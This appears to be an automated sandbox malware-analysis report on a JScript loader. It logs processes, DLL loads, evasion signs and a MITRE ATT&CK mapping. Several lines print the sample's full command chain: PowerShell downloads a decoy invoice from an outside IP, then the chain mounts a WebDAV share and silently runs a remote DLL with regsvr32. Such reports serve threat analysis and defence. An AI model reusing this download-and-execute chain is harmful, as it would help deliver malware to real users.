Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\2789.js.csv");ITextStream.WriteLine(" entry:7483 f:oooftfv");ITextStream.WriteLine(" exec:2 f:oooftfv");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49711

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4914			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4941			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6816	Thread sleep count: 4914 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6816	Thread sleep count: 4941 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6876	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6896	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7088	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6092	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.2463309532.0000024F99048000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2461006712.0000024F98FF0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3700445977.0000015C3EE5A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3698375792.0000015C3982B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3698399932.0000015C39840000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26646203008971.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
